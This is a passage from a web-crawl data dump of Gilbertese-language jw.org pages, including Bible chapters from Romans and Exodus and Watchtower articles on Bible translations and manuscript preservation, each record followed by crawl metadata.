motiboi.\"","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/te-otinako\/30\/","date":"2018-04-21T05:11:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125944982.32\/warc\/CC-MAIN-20180421032230-20180421052230-00077.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1187,"character_repetition_ratio":0.066,"word_repetition_ratio":0.002,"special_characters_ratio":0.245,"stopwords_ratio":0.441,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Taamnei Aika Kabwarabwarai Bokin te Baibara\nE kakoroa bukin ana berita Iehova ni kainaomataia ana aomata man te taenikai i Baburon ao ni kaoka te taromauri ae koaua i Ierutarem.\nBokin te Baibara ae Neemia e anga reirei aika kakawaki ibukia taan taromauri ni koaua ni kabane ni boong aikai.\nBaike a riki n ana bong Etita a na kakorakoraa iroum onimakinan ana konabwai Iehova ni kona ni kamaiuia ana aomata man taiani kataaki ni boong aikai.\nA na bane ni kataaki naake a tangira Iehova. Ti kakoauaa raoi man rongorongon Iobi bwa ti kona ni kateimatoa etin arora ao ni boutokaa riain Iehova n tautaeka.","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/taamnei\/Taamnei-Aika-Kabwarabwarai-Bokin-te-Baibara\/","date":"2018-04-24T05:46:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125946564.73\/warc\/CC-MAIN-20180424041828-20180424061828-00395.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":106,"character_repetition_ratio":0.078,"word_repetition_ratio":0.0,"special_characters_ratio":0.184,"stopwords_ratio":0.425,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"8 Mangaia ae akea kabuakakaaia te koraki ake a katiteuanaaki ma Kristo Iesu. 2 Bwa e a tia ni kainaomataingkami+ man ana tua te bure ao te mate, ana tua te taamnei ae anga te maiu rinanoni Kristo Iesu. 3 E karaoa ae e aki kona ni karaoaki n te Tua te Atua,+ kioina ngkai e mamaara+ te Tua ibukin aki kororaoia aomata,* ngke e kanakomaia Natina+ n te rabwata ae ai aron te rabwata ae bubure,+ ibukini kamaunaan te bure, ao e kabuakakaa iai te bure ae n te rabwata, 4 bwa a aonga ni kakororaoaki iroura kaetieti aika riai ake n te Tua,+ ngaira aika ti aki nakonako ni kaibwabwarun te rabwata, ma e kairaki nakonakora n te taamnei.+ 5 Bwa akana maiuakina kaibwabwarun te rabwata, a iaiangoi bwain te rabwata,+ ma akana kairaki maiuia n te taamnei, a iaiangoi bwain te taamnei.+ 6 Bwa e karekea te mate iaiangoani kaibwabwarun te rabwata,+ ma e karekea te maiu ao te rau iaiangoani bwain te taamnei,+ 7 ibukina bwa e karekea te kairiribai ma te Atua+ iaiangoani kaibwabwarun te rabwata, bwa e aki ira nanon ana tua te Atua, ao e bon aki kona n ira nanona. 8 Mangaia ae a aki kona ni kakukureia te Atua akana kairaki ni kaibwabwarun te rabwata. 9 Ma kam aki kairaki ni kaibwabwarun te rabwata, ma kam kairaki n te taamnei+ ngkana e boni memena i nanomi taamnein te Atua. Ma ngkana iai ae akea nanoni Kristo irouna, ao tiaki ana aomata Kristo ngaia. 10 Ma ngkana e katiteuanaaki Kristo ma ngkami,+ ao e ngae ngkana e mate te rabwata bwa mwin te bure, ma e karekea te maiu nakoimi te taamnei bwa mwin te raoiroi. 11 Ma ngkana e memena i nanomi taamnein teuare kauta Iesu mai buakoia maate,+ e na kamaiui naba rabwatami aika mamate+ teuare kauta Kristo Iesu mai buakoia maate, rinanon taamneina ae memena i nanomi. 12 Mangaia ae bon iai baera taari, ma tiaki ni kaineti ma te rabwata bwa ti na maiuakina kaibwabwaruna,+ 13 bwa ngkana kam maiuakina kaibwabwarun te rabwata ao kam na boni mate.+ Ma ngkana kam kamatei ana mwakuri nako te rabwata n te taamnei, ao kam na maiu.+ 14 Bwa bon natin te Atua aomata nako ake a kairaki n taamnein te Atua.+ 15 Bwa kam aki anganaki te taamnei* ae e na manga karikingkami bwa tooro aika mamaaku, ma kam anganaki te taamnei ae karikingkami bwa taan natinaki, ae te taamnei ae kairira bwa ti na takarua ni kangai: \"Aba,* Tamara!\"+ 16 E kaotioti taamnein* te Atua ma nanora,+ ni kaotia bwa natin te Atua ngaira.+ 17 Ao ngkana naati ngaira, ao bon taani bwaibwai naba ngaira, aika bon taani bwaibwai iroun te Atua ma taan uaia ni bwaibwai+ ma Kristo. Ngkana ti maraki+ ma Kristo ao ti na kamimitongaki naba ma ngaia.+ 18 Bwa I iangoia bwa akea waren taiani maraki aika riiriki n te tai aei, ni kabotauaki ma te mimitong ae e na kaotiotaki iroura.+ 19 Bwa a bane n ingainga baika karikaki* ni kariariaa kaotakia natin te Atua.+ 20 Bwa a kaakiaki baika karikaki nakon te maiu ae akea manenana,+ tiaki n oin nanoia, ma iroun teuare kaakiia iai. Ma e katauraoaki naba te kantaninga 21 ae a na manga kainaomataaki baika karikaki+ man te tautoronaki i aan te mka, ma ni karekea te inaomata ae rianako arona ae reke irouia natin te Atua. 22 Bwa ti ataia bwa a teimatoa ni ngirangira ao ni maraki ni karokoa ngkai, bwaai ni kabane aika karikaki. 23 Tiaki tii anne, ma ti ngirangira naba i nanora, ngaira aika ti anganaki te moan uaa, ae taekan te taamnei,+ ngkai ti kakariariaa natinakira+ ao kainaomataara man rabwatara, rinanon te kaboomwi. 24 Bwa ti kamaiuaki n te kantaninga aei, ma ngkana e a noraki te bwai ae kantaningaaki, ao e a aikoa manga kantaningaaki. Bwa e na kangaa te aomata ni kakantaningaa te bwai ae e a noria? 25 Ma ngkana ti kakantaningaa+ te bae ti aki noria,+ ao ti ingainga ni kariariaa ma te nanomwaaka.+ 26 N aron anne, e uaia naba n ibuobuoki te taamnei ma ngaira ni mamaarara,+ bwa te kangaanga bwa ti aki ataa te bae ti riai n tataroia, ma e bubutii te taamnei ibukira ni baike ti ngirangira iai ake ti aki atongi.* 27 Ma te Atua are tirotiroi naano+ e ataa te baere e bubutii iai te taamnei ibukia te koraki aika itiaki,* ibukina bwa e boraoi ma nanon te Atua. 28 Ti ataia bwa te Atua e kabobongai raoi ana mwakuri ni kabane bwa a na uaia n ibuobuoki ni karekea ae raoiroi nakoia aomata aika tangira te Atua, ake te koraki ake a weteaki n aron nanona.+ 29 Ni koauana, e a kamani baireia bwa te koraki ake e moan ataiia, a na riki bwa ai aroni katotongan Natina,+ bwa e aonga n riki Natina bwa te karimoa+ i buakoia tarina aika mwaiti.+ 30 Ao te koraki ake e a kamani baireiia,+ bon te koraki ake e weteiia naba.+ Ao ake e weteiia, e atongia naba bwa a raoiroi.+ Ao ake e atongia bwa a raoiroi, e angania naba te mimitong.+ 31 Tera ngkanne ae ti na taekinna ibukini baikai? Ngkana e tei ibukira te Atua, ao ai antai ae kona ni kaaitaraira?+ 32 Kioina ngkai e aki rawa te Atua n anga oin Natina ma e kaburea bwa e na mate ibukira ni kabane,+ tiaki e na bon akoira naba ma Natina n anganira bwaai ni kabane? 33 Antai ae e na kaaitaraia ana aomata te Atua aika rineaki,+ ni bukinia? Bon te Atua ae Ngaia ae atongia bwa a raoiroi.+ 34 Antai ae e na kabuakakaia? Akea, ibukina bwa boni Kristo Iesu are mate, eng, ao boni ngaia are kautaki ao e mena i angaatain te Atua+ ma ni bubutii naba ibukira.+ 35 Tera ae e na karaureira man tangirara iroun te Kristo?+ Te rawawata, te maraki, te bwainikirinaki, te matenibaki, te aki kunnikaiaki, te bwai ae karuanikai, ke te kabaang?+ 36 N aron are koreaki ni kangai: \"Bwa ti kaaitara ma te mate ibukim ni kabongnga, ti iangoaki bwa tiibu aika nang kamateaki.\"+ 37 Ma tiaki anne arona, bwa ti tokanikai i aoni bwaai aikai ni kabane+ iroun teuare tangirira. 38 Bwa I kakoauaa raoi bwa e aki kona te mate ke te maiu, ke anera ke taian tautaeka, ke bwaini ngkai ke baika a na roko, ke taiani mwaaka,+ 39 ke baika mena i eta ke i nano, ke te bwai teuana riki ae karikaki, ni karaureira ma tangirara iroun te Atua are kaotiotaki rinanon ara Uea ae Kristo Iesu.\nKo tangiria ni wareka te kaongora aei n %%?\nKAREKEI N AEKAIA AIKAI\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nTibwaia\nKiribati\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nhttps:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg\n-\nTibwaiaTibwaiaKiribatiTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)https:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/i-rom\/8\/","date":"2018-04-21T01:07:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125944848.33\/warc\/CC-MAIN-20180420233255-20180421013255-00389.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1108,"character_repetition_ratio":0.067,"word_repetition_ratio":0.004,"special_characters_ratio":0.234,"stopwords_ratio":0.44,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"TERA AM IANGO?\nTera te bwaintangira ae te kabanea ni kakawaki ae e a tia n anga te Atua?\nE kangai te Baibara: \"E rangi n tangiriia kaain te aonnaba te Atua, n te aro are e a anga Natina ae te rikitemanna.\"\nE maroroakinaki n Te Taua-n-Tantani aei bwa e aera ngkai e kanakomaia Iesu te Atua bwa e na mate ibukira ao ti na kangaa ni kaota ara kakaitau ibukin te bwaintangira anne.","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/te-taua-n-tantani-na2-2017-maati\/moantaeka\/","date":"2018-04-24T04:10:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125946453.89\/warc\/CC-MAIN-20180424022317-20180424042317-00257.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":75,"character_repetition_ratio":0.049,"word_repetition_ratio":0.0,"special_characters_ratio":0.223,"stopwords_ratio":0.493,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E aera ngkai a a rangi ni bati rairai aika kakaokoro i aon te Baibara ni boong aikai? Ko iangoi rairai aika boou aikai bwa a ibuobuoki ke a kamaabubua riki te ota? Ko na buokaki man ataakin ae a reke mai ia rairai aikai.\nNgaia are antai moa ae moani korea te Baibara, ao n ningai?\nTE MOANI BAIBARA\nIai uoua iteran te Baibara. Ni moan iterana ao iai booki aika 39 aika taekan \"te rongorongo mairoun te Atua.\" (I-Rom 3:2) E kairiia mwaane aika kakaonimaki te Atua n taamneina bwa a na korei booki aikai, n te maan ae tao 1,100 te ririki, man 1513 B.C.E. nakon teutana te tai imwin 443 B.C.E. A korei angiina n te taetae n Ebera, ngaia are ti arana iteran te Baibara aei bwa te Koroboki ae Tabu n te Taetae n Ebera, ao e ataaki naba bwa te O Tetemanti.\nNi kauouan iteran te Baibara ao iai booki aika 27 iai aika kanoan naba \"ana taeka te Atua.\" (1 I-Tetaronike 2:13) E kairiia taan rimwin Iesu Kristo aika kakaonimaki te Atua n taamneina bwa a na korei booki aikai, n te maan ae uarereke riki ae tao 60 te ririki, ae tao man 41 C.E. nakon 98 C.E. A korei angiina n te taetae ni Kuriiti, ngaia are ti arana iteran te Baibara aei bwa te Koroboki ni Kristian ae Tabu n te Taetae ni Kuriiti, ao e ataaki naba bwa te Nu Tetemanti.\nA ikotaki booki aika 66 aikai ao a riki bwa te Baibara, ae ana rongorongo te Atua nakoia aomata. Ma e aera ngkai a a reke riki rairai tabeua? Aikai tenua bukina.\nA aonga ni wareka te Baibara aomata n oin aia taetae.\nA aonga ni kaetaki kairua ake a reke mairouia taani kaewea te Baibara, ao ni kaokaki kanoan raoi te Baibara.\nA aonga n ira tein te taetae ae ngkai.\nIangoi irekerekeni baikai ma taiani moan rairai aika uoua.\nTE GREEK SEPTUAGINT\nTao 300 te ririki imwain ana tai Iesu, ao a a raira te Koroboki ae Tabu n te Taetae n Ebera nakon te taetae ni Kuriiti, taan rabakau aika I-Iutaia. E a ataaki te rairai aei bwa te Greek Septuagint. E aera e karaoaki te rairai aei? Ibukini buokaia I-Iutaia aika bati ake a aki taetae n Ebera ma a taetae ni Kuriiti, bwa a na ataa riki \"te koroboki ae tabu.\"—2 Timoteo 3:15.\nA buokaki naba n te rairai ae te Septuagint, mirion ma mirion aomata aika tiaki I-Iutaia, ake a kabongana te taetae ni Kuriiti, bwa a na atai ana reirei te Baibara. N te aro raa? E taku Professor W. F. Howard: \"E kabonganaaki te rairai aei n te Aro ni Kristian n nukan te moan tienture, ao a uouotia mitinarena nakon taian tinakoka, ni 'kaota koauan ae bon te Mesia Iesu.' \" (Mwakuri 17:3, 4; 20:20) E taku te tia rabakau i aon te Baibara ae F. F. Bruce bwa anne naba bukina ae a waekoa ni \"kakeaa bongan te rairai ae te Septuagint\" I-Iutaia aika bati.\nNgke a reke irouia taan rimwin Iesu booki ake n te Koroboki ni Kristian ae Tabu n te Taetae ni Kuriiti, ao a ikotia ma te Septuagint are rairan te Koroboki ae Tabu n te Taetae n Ebera, ao e a riki bwa te Baibara ae bwanin ae iroura ngkai.\nTE LATIN VULGATE\nTao 300 te ririki imwin tian te Baibara, ao te tia rabakau n te Aro ae Jerome e a raira te Baibara nakon te taetae n Ratine, are e a riki bwa te Latin Vulgate. Ai kaman iai Baibara n Ratine aika kakaokoro, ma e aera ngke e kainnanoaki ae boou? E taku The International Standard Bible Encyclopedia: E kani kaetii Jerome \"rairai aika bure, kairua aika otara, ao taeka aika aki riai n rin ke ni mauna.\"\nA bati mai iai ake e kaetii Jerome. Ma imwina riki ao a karaoa te bae karuanikai mataniwi n Aaro! A tua bwa tii te rairai ae te Latin Vulgate ae riai ni kabonganaaki, ao a karaoa aei i nanon iraua te tienture! A aki buokiia aika a mangori bwa a na ota n te Baibara, ma a karika te Vulgate bwa te boki ae kangaanga te ota iai, bwa a aikoa ota n te taetae n Ratine angia aomata.\nA BATI RAIRAI AIKA BOOU\nN taai akanne ao iai ake a teimatoa ni karaoi rairai riki i aon te Baibara, n aron te Baibara n Turia rimoa ae te Peshitta, tao n te kanimaua n tienture C.E. Ma ai tibwa n te ka-14 n tienture are e a karaoaki te kakorakora ni katauraoan te Baibara n oin aia taetae aomata aika mangori aika bati.\nN raabanen te ka-14 n tienture i Engiran, ao e a moana kainaomataaia aomata John Wycliffe man tautoronakia i aan te taetae ae a aki ota iai, ngke e a katauraoa te Baibara n te taetae n Ingiriti ae a bane n ota iai kaain abana. E aki maan imwina, ao ana anga ni boreeti Johannes Gutenberg e a karekei angaia taan rabakau i aon te Baibara, ni boretii ao n tibwainako rairai aika boou i aon te Baibara n taetae aika bati aika kakaokoro ni kabutaa Eurobe.\nNgke e a bati te rairai n te taetae n Ingiriti, ao a a tiriburea kainnanoani karaoan rairai aika kakaokoro n te taetae ae tii teuana taani kabuakaka. N te ka-18 n tienture ao e korea ae kangai te mitinare ae te I-Engiran ae John Lewis: \"E babane tain te taetae ao ni kangaanga te ota iai, ngaia are a bon riai ni manga rinanoaki Baibara rimoa ao ni kabonganaaki iai taetae aika ngkai, ae a na ota iai te roro aei.\"\nA a kona riki ngkai taan rabakau i aon te Baibara n rinanoi rairai ake rimoa. A a ota riki n taetae ake e koreaki iai te moani Baibara, ao iai naba irouia Baibara nikawai aika rangi ni kakawaki ake a a tibwa kuneaki. A buokaki ni baikai bwa a na ataa raoi kanoan te moani Baibara.\nNgaia are a rangi n ibuobuoki rairai aika boou i aon te Baibara. Ma e bon riai te taratara raoi n rairai tabeua. Ma ngkana a kairaki n tangiran raoi te Atua, naake a a manga rinanon te Baibara ao ni katauraoa te rairai ae boou, ti na rangi ni buokaki n aia mwakuri.","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/te-taua-n-tantani-na6-2017-nobembwa\/baibara-aika-kakaokoro\/","date":"2018-04-19T20:27:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125937016.16\/warc\/CC-MAIN-20180419184909-20180419204909-00257.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1046,"character_repetition_ratio":0.088,"word_repetition_ratio":0.027,"special_characters_ratio":0.236,"stopwords_ratio":0.447,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"TE KANGAANGA: Te babirati ao te kunniman boni bwaai ni koroboki aika kakabonganaaki irouia taani korea te Baibara ao taani kaewewe. * (2 Timoteo 4:13) N te aro raa ae bwaai ni koroboki akanne a karekea te kangaanga nakon te Baibara?\nE kona n raeuaaki te babirati, e kai taenako karana, ao e kai rotaki. A taekinna taan rabakau i aoni bwain Aikubita aika Richard Parkinson ao Stephen Quirke ni kangai: \"E kona ni mka ao n riki bwa te maange ao te bubu n tano. E kona ni bwebwe ao ni mka n te mwaimwai n te tabo are e kawakinaki iai, ao e kona ni kanaki irouia maan aika tenatena ke maan aika uarereke ao riki kinnongo aika mainaina, ngkana e taunaki.\" Imwini kuneakini babirati tabeua ao a waekoa ni buakaka ngkana a boo ma te oota ae korakora ke te aoi.\nE teimaan riki te kunniman nakon te babirati, ma e kai rotaki naba ngkana e aki kawakinaki raoi ke ngkana e rotaki n te kabuebue ae korakora, te aoi, ke te oota. * E tatangiraki naba te kunniman irouia maan aika uarereke. Ngaia are e kaotaki rongorongon rimoa n te boki ae te Everyday Writing in the Graeco-Roman East, ae kangai: \"E burenibwai bwa a na kawakinaki rongorongo nikawai.\" Ngkana arona bwa e a tia ni mka te Baibara ao e na boni mka naba te rongorongo are iai.\nARON TE BAIBARA NI KAWAKINAKI: A kabaeaki ueea nako n te tua n Iutaia, bwa a na \"korea n te boki teuana katotongan te Tua\" ake booki ake nimaua aika moani bokin te Baibara. (Te Tua-Kaua 17:18) Ao a karaoi koroboki nikawai aika rangi ni bati taan rabakau aika taani kaewewe, n te moan tienture C.E., ao a kona ni kuneaki Koroboki aika Tabu n taian tinakoka i aon Iteraera ao n taabo naba aika raroa i aoni Maketonia! (Ruka 4:16, 17; Mwakuri 17:11) A kangaa ni kawakinaki ni karokoa ngkai, koroboki nikawai tabeua aika rangi ni maan?\nE taku te tia rabakau i aon te Nu Tetemanti ae Philip W. Comfort: \"A ataaki I-Iutaia n aroia ae a kakawakin nira ni boki n taiani kaatibu bwa a aonga n teimaan.\" E kakoauaaki bwa a teimatoa Kristian ni karaoa te katei anne. Ngaia are a kuneaki i nanon taiani kaatibu koroboki nikawai tabeua ake e koreaki iai te Baibara, ao i nanon naba ruu aika uarereke aika roo, nangananga, ao aono aika mwauteretere.\nMWINA: Nga ma nga mwakoroni koroboki nikawai ake e koreaki iai te Baibara, aika kawakinaki ni karokoa ngkai ae tabeua mai iai a riaon 2,000 te ririki maania. Akea riki te koroboki rimoa ae e rangi ni bati iai taiani koroboki nikawai, ake a koreaki mangkoangkoa.\n^ bar. 3 Te babirati bon te bwai ni koroboki ae karaoaki man te aroka ae riiriki n te neinei, ae arana naba te babirati. E karaoaki te kunniman mani kunin te man.\n^ bar. 5 N te katoto, e koreaki n te beeba ae karaoaki man te kunniman katoton te reta ae tiainaaki ibukin ana inaomata te U.S. E kee i aan 250 te ririki imwina ao e a moanna n tanemauna korobokiana n te aro are e a kangaanga warekana.","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/te-taua-n-tantani-na4-2016-turai\/e-kawakinaki-te-baibara-nikawai-man-te-mka\/","date":"2018-04-24T11:19:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125946597.90\/warc\/CC-MAIN-20180424100356-20180424120356-00158.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":520,"character_repetition_ratio":0.068,"word_repetition_ratio":0.0,"special_characters_ratio":0.227,"stopwords_ratio":0.423,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"A kabwarabwaraaki rongorongo aika n te Baibara n taamnei aika raweaki, korotaamnei, ao taamnei aika kakaokoro.\nBetebake, te Maunga ae Oriweta, ao Ierutarem\nE kaotaki n te taamnei ae kimototo aei te kawai nako Ierutarem mai mainiku, man te kaawa ni boong aikai ae et-Tur ae iangoaki bwa Betebake are n te Baibara—nakon te tabo ae rietata n te Maunga ae Oriweta. E mena Betania i mainikun Betebake n rabeen te Maunga ae Oriweta mai mainiku. Ni menan Iesu ma taan rimwina i Ierutarem, a taneiai ni matu i Betania, ae ataaki ni boong aikai bwa te kaawa ae el-ʽAzariyeh (El ʽEizariya), te ara n Arabia ae nanona \"Ana Tabo Rataro.\" E boni bae n tiku Iesu n aia auti Mareta, Maria, ao Rataro. (\nMt 21:17; Mrk 11:11; Rk 21:37; Io 11:1) Ngkana e mwananga Iesu mani mwengaia nako Ierutarem, ao tao e toua te kawai ae oti n te taamnei aei. N Nitian 9, 33 C.E., ngke e toka Iesu i aoni bunin te taongki n riaon te Maunga ae Oriweta nako Ierutarem, e bae ni mwananga naba mai Betebake n toua te kawai anne.\nTe kawai mai Betania nako Betebake\nBetebake\nMaunga ae Oriweta\nTe Mwarua ae Kiteron\nMaungan te Tembora\nTe Neera n Riin Bukin te Wae\nAio taamneini katotongan te ri mani bukini waen te aomata ae e ewaraki n te neera ae 11.5 te tientemita (4.5 inti) abwakina. E kuneaki n 1968 n tain te keniken i meangin Ierutarem. E karaoaki te neera aei n ana tai Rom rimoa. E reke mai iai te bwai ni kakoaua ae kaotaki iai bwa a kabonganaaki neera rimoa ibukini katineaia aomata i aon te kai. Tao titeboo te neera aei ma neera ake a kabongana tautian Rom ni katinea iai Iesu Kristo i aon te kai. E kuneaki te neera aei n te bwaoki teuana ae karaoaki man te atibu, ae aranaki bwa te bwaoki n ri are a kawakinaki iai riia maate aika mwau. E oti iai bwa e kona naba n taunaki te aomata ae tauraki i aon te kai.—\nMt 27:35.","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/jw-te-boki-n-reirei\/ritembwa-2017-mwb\/kaetieti-ibukin-te-botaki-rit18-24\/kanoan-te-botaki-n-te-wiki-ae-boou\/","date":"2018-04-22T19:05:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125945637.51\/warc\/CC-MAIN-20180422174026-20180422194026-00625.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":336,"character_repetition_ratio":0.08,"word_repetition_ratio":0.0,"special_characters_ratio":0.24,"stopwords_ratio":0.405,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"23 \"Ko na tai kabutaanako* te rongorongo ae kewe.+ Tai uaia ni mwakuri ma te aomata ae buakaka, n arom n riki bwa te tia kakoaua ae iowawa.+ 2 Ko na tai irania aomata aika bati, ni karaoa ae buakaka, ao ko na tai kabwaoua te kaetitaeka ae riai n arom n anga am kakoaua ae boto i aon irakin nanoia aomata aika mwaiti. 3 Ko na tai inanonano n irana ana kauntaeka te aomata ae maiu ni kainnano.+ 4 \"Ngkana ko boo ma ana kao mwaane te aomata ae kairiribai nakoim ke ana taongki ae tiotionako, ko riai ni kaokia nakoina.+ 5 Ngkana ko nora ana taongki te aomata ae riribaiko bwa e a bwaka ibukin uotana, ko na tai katikua ni kitanna. Ko riai ni buokia ni kanakoa uotan ana man.+ 6 \"Ko na aki kabwaoua te moti ibukin ana tangitang te aomata ae maiu ni kainnano i buakomi.+ 7 \"Tai irekereke ma te bukibuki* ni kewe ao tai kamatea te aomata ae akea ana bure ao ae raoiroi, bwa N na aki taekina te aomata ae buakaka bwa e raoiroi.+ 8 \"Ko na tai butimwaea te bwai ni kamaraato bwa e kona te bwai ni kamaraato ni kamatakia taani motikitaeka aika wanawana, ao e kona naba ni kabwaouai aia taeka aomata aika raoiroi.+ 9 \"Ko na tai karawawataa te aomata ae maeka n iruwa. Kam ataa raoi aron te maeka n iruwa bwa kam maeka n iruwa ngkoa n te aba are Aikubita.+ 10 \"Ko na uniki koraa i abam ma n ikotii uaana i nanon onoua te ririki.+ 11 Ma ko riai ni katikua n aki ribanaia n te kaitiua n ririki. A na amwamwarake mai iai te koraki aika maiu ni kainnano, ao nikirana ake a katikui a na kanna manin te tawaana aika moaanti. Anne arom ae ko riai ni karaoia nakoni nnen am kureebe ma nnen am oriwa. 12 \"Ko na karaoa am mwakuri i nanon onobong, ma ko na katoka am bekutata n te kaitiua ni bong, bwa e aonga ni motirawa am kao mwaane ma am taongki, ao a na motiki rawaia am toro ao te aomata ae maeka n iruwa iroum.+ 13 \"Kam riai n tarataraingkami bwa kam na karaoi bwaai ni kabane ake I taekin nakoimi,+ ao kam na tai taboa araia atua riki tabeman, ao a aki riai n otinako mai wimi aara aikai.+ 14 \"Ko na bukamarui tooa nakoiu aika tenua ni katoa ririki.+ 15 Ko na kawakina te Toa ae te Bwerena ae Aki Karikaki.+ I nanon itibong ao ko na kana te bwerena ae aki karikaki n aron are I tua nakoim, n te tai ae baireaki n te namwakaina ae Abibi,*+ bwa kam otinako n te tai anne mai Aikubita. Akea temanna ae riai ni kaoti i matau n akea uotana.+ 16 Ko na bukamarua naba te Toa ae Taiakini* Moan Uaanikai aika tawaa man am bekutata n ununiki n te tawaana.+ Ko na bukamarua naba te Toa ae Ikotakin Taian Uaa* n tokin te ririki ngkana ko ikotii uaanikai man te tawaana ake mwin am bekutata.+ 17 A na kaoti am rorobuaka ni kabane i matan te Uea ae koaua ae Iehova, tenua te tai n te ririki.+ 18 \"Ko na tai kareana te raraa ae te karea nakoiu ma te bwai ae karikaki. Ao a aki riai n tiku ni karokoa ae ingabong karea aika taiani mwaete ake a kareanaki n tain au toa. 19 \"Ko na uotii moan uaanikai aika tawaa aika taiani kabanea n raoiroi aika uaan am tano nakon ana auti Iehova ae Atuam.+ \"Ko na tai kaburoa te kooti ae ataei i nanon rannimamman tinana.+ 20 \"I a kanakoa te anera rimoam+ bwa e na kawakiniko i aoni kawaim ao ni kairiko nakon te tabo ae I a tia ni katauraoia.+ 21 Kakauongo nakoina ao ongo ni bwanaana. Tai karitei nakoina bwa ane e na aki kabwarai ami bure,+ ibukina bwa e uouota arau. 22 Ma ngkana ko bon ongo raoi ni bwanaana ao ko karaoi bwaai ni kabane aika I taekin, N na kaota ribaakia akana kairiribai nakoim ma ni kaaitaraia te koraki ake a kaaitarako. 23 Bwa e na rimoam au anera ao e na kairiko nakoia taian Amoraite, tibun Eta, taiani Beritaite, tibuni Kanaan, taian Iwaite, ao I-Iebuti, ao N na kamaunaia.+ 24 Ko na tai bobaraaki nakoia atuaia ke n anaaki nanom bwa ko na toro irouia, ao ko na tai kakairi n aia mwakuri.+ Ma ko riai n urui ao ni kamaeinikuni aia boua aika tabu.+ 25 Kam na toro iroun Iehova ae Atuami+ ao e na kakabwaiako n te amwarake ao n te ran.+ N na kanakoa te aoraki mai buakomi.+ 26 A na aki bwaka natiia aine ake i abam ke ni kanoabo+ ao N na kaananaua* maium. 27 \"Imwain rokom+ ao a na ongo taekau ma n rurubenebene, ao N na kamangaoia aomata ni kabane ake ko kaitiboo ma ngaiia, ao N na kabirinakoia aiam ni kabane mai mwaim ngkai a konaaki.*+ 28 N na karimoaa namakinan te bwarannano* imwaim+ ao e na kakioianako mai mwaim taian Iwaite, tibuni Kanaan, ao tibun Eta.+ 29 N na aki kakioianako mai mwaim i nanon teuana te ririki, bwa e aonga n aki tiku n aki kaainaki te aba, ao a na aki rikirake iai mwaitiia manin te tawaana aika kaakang ake a na kona ni kaikoakiko.+ 30 N na kakioianako teutana imwin teutana mai mwaim, ni karokoa ae ko a kabatiaia am kariki ao n abana te aba.+ 31 \"N na katei tian abam man Taari ae Uraura nakon taari are i rarikin abaia I-Biritia, ao man te rereua nakon te Karaanga,*+ bwa N na anga kaain te aba nako nanoni baimi, ao ko na kakioianako mai mwaim.+ 32 Ko na tai karaoa te berita ma ngaiia ke ma atuaia.+ 33 A aki riai ni maeka i abam, bwa a aonga n aki kairiko bwa ko na bure nakoiu. Ngkana ko toro irouia atuaia, ao e na bon riki anne bwa te bwai ni kamwane nakoim.\"+\nTaiani Kabwarabwara Mai Nano\n^ Ebera, \"tabeka.\"\n^ 